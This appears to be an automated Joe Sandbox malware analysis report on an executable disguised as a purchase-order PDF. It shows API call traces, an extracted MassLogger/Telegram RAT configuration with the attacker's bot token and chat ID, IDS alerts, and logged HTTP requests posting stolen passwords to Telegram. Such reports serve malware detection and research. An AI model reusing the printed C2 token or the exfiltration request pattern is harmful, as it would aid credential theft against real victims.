Part of subcall function 00405735: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
Part of subcall function 00405735: CloseHandle.KERNEL32(0040A300), ref: 0040576B

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E95
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401EAA
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EB7
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EDE

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction ID: 13991b0c54685da06ec2ee4a2e862f8a6615163aea1ca29b4ebe34551147a3b8
Opcode Fuzzy Hash: 2fccfab20e6c6224511eae8da94d64daaac4a5ffd49f94ff9cc0495680f83f6b
Instruction Fuzzy Hash: DE116131900508EBCF21AFA1CD459AE7BB6EF44354F24403BF901BA1E1D7798A919B9D

Function 00405683 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,00441800), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402D8A Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,00402F6A,?,?,?,00000000,0040353A,?), ref: 00402D9D
GetTickCount.KERNEL32 ref: 00402DBB
CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402DD8
ShowWindow.USER32(00000000,00000005,?,?,00000000,0040353A,?), ref: 00402DE6

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction ID: 14797c98da9828bb931948049190d252b5e763d0d3dd0a8fb7bf7e32741345ac
Opcode Fuzzy Hash: 4531d39793dd689b88ecf9c78e53bc84b8350a2634ed7edc8c543d9bb047c671
Instruction Fuzzy Hash: C9F05430611A20BFC6716B50FF4D98B7B64BB84B11701457AF142B15E8CBB80C418B9C

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00405C59 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNEL32(0040A300,?,00000000,?,?,?,00000000,0040329E,00441000,00441800,00441800,00441800,00441800,00441800,00441800,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 00405735 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00430270,Error launching installer), ref: 0040575E
CloseHandle.KERNEL32(0040A300), ref: 0040576B

Strings

Error launching installer, xrefs: 00405748

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction ID: 39588cd766b2ea89d65183b6a6bcc828c6470883592abd44c37ede1670716c40
Opcode Fuzzy Hash: d9d25ead1e61dd1de32296c4779b051624e3cc0dc0aa34a2348a33ced0ef8ad4
Instruction Fuzzy Hash: B8E0B6B4600209BFEB109B64ED49F7B7AADEB04708F004665BD50F6191DB74EC158B78

Function 00151A40 Relevance: 5.1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

Strings

Xaq, xrefs: 00151B2F
Xaq, xrefs: 00151B7C
Xaq, xrefs: 00151A76
Xaq, xrefs: 00151AB0

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: Xaq$Xaq$Xaq$Xaq
API String ID: 0-4015495023
Opcode ID: 2310ad971a8b1e869c91747075bcfa14324dd28d19afc4d24b597f6de2179574
Instruction ID: d4e9dab8f39941d4807bb746bb3e883c7bab08cbae09ff8039cc1c651b44569c
Opcode Fuzzy Hash: 2310ad971a8b1e869c91747075bcfa14324dd28d19afc4d24b597f6de2179574
Instruction Fuzzy Hash: F031EB34D0031ADFCF668FA9854036EBBB6BF84301F1440A9CC25AB255DB70CD88CB92

Function 001558E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;]q, xrefs: 001558F4
\;]q, xrefs: 0015591A
\;]q, xrefs: 001558FE
\;]q, xrefs: 00155926

Memory Dump Source

Source File: 00000003.00000002.3289424698.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID:
String ID: \;]q$\;]q$\;]q$\;]q
API String ID: 0-2351511683
Opcode ID: ed7399dd2b589ea73bb145f39a9050ee42da26fa8b504d77b9f65dac65584062
Instruction ID: d5e6b02a1461b737b8bcbe744c2e3c09bba4c5f6d9dd295da6f29a1d66d554f1
Opcode Fuzzy Hash: ed7399dd2b589ea73bb145f39a9050ee42da26fa8b504d77b9f65dac65584062
Instruction Fuzzy Hash: 8101D431740905CFCB688E2DC4A092577EBAF8877A7264469E865CF370DB35DC45C781

Function 00405B8F Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405BB7
CharNextA.USER32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BC8
lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

Memory Dump Source

Source File: 00000003.00000002.3289624666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3289589572.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289669979.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289693951.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3289720615.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_PURCHASE ORDER TRC-090971819130-24_pdf.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction ID: ee410971918da6c20df7c5ac797640abd601cb5b02c8e88895b13af08820b85c
Opcode Fuzzy Hash: c22d3165051237620b2fbf365f01d50e367ccce7d83d9982a11a9c9d857fbe9e
Instruction Fuzzy Hash: 22F06231104958AFC7029BA5DD4099FBBB8EF55254B2540A9E840F7211D674FE019BA9

Source: 00000003.00000002.3312322172.0000000032CCB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: PURCHASE ORDER TRC-090971819130-24_pdf.exe.4796.3.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3D1EC CryptUnprotectData,		3_2_32B3D1EC
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 3_2_32B3D9D9 CryptUnprotectData,		3_2_32B3D9D9

Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49776 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49766 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49756 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49785 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49917 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49937 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49859 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49871 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49806 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49796 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49947 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49827 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49893 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49955 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49904 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49967 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49979 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49883 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.5:49925 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd200fa9571766Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd203f031927acHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd206889082f42Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd209070a17673Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd20bd9321f276Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd20e9132498beHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd2152005f10cfHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd21e32c16b31aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd222049205566Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd226c5ec256a2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd22ac5e509c19Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd22f9f12f692dHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd236cd1f171f8Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd23e52094dd2bHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd24984b8325b7Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd252256b0581fHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd25bb05fd59f6Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd26d9ff1bf1b4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd27d060a159d9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 132.226.247.73 132.226.247.73

Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B30671h	3_2_32B303AF
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3C985h	3_2_32B3C638
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B31042h	3_2_32B30C28
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3DD40h	3_2_32B3DA9C
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3EEA0h	3_2_32B3EBF7
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3E5F0h	3_2_32B3E339
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3B339h	3_2_32B3B07F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3F2F8h	3_2_32B3F042
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3C499h	3_2_32B3C1E0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3BBE9h	3_2_32B3B930
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3E198h	3_2_32B3DEE1
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3EA48h	3_2_32B3E79F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B31042h	3_2_32B30F6F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3B791h	3_2_32B3B4EC
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B31042h	3_2_32B30C1A
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 32B3C041h	3_2_32B3BD88
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then push 00000000h	3_2_3593BDF0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 3593882Dh	3_2_35938650
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359391B7h	3_2_35938650
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35935058h	3_2_35934DB0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35932808h	3_2_35932560
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35931F58h	3_2_35931CB0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35937770h	3_2_359374C8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35936EC0h	3_2_35936C18
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359316A8h	3_2_35931400
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35931250h	3_2_35930FA8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35936A68h	3_2_359367C0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359361B8h	3_2_35935F10
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35934218h	3_2_35933F70
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35933968h	3_2_359336C0
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359330B8h	3_2_35932E10
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35935908h	3_2_35935660
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	3_2_35938193
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35932C60h	3_2_359329B8
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 359323B0h	3_2_35932108
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then push 00000000h	3_2_3593C92F
Source: C:\Users\user\Desktop\PURCHASE ORDER TRC-090971819130-24_pdf.exe	Code function: 4x nop then jmp 35934ACAh	3_2_35934820
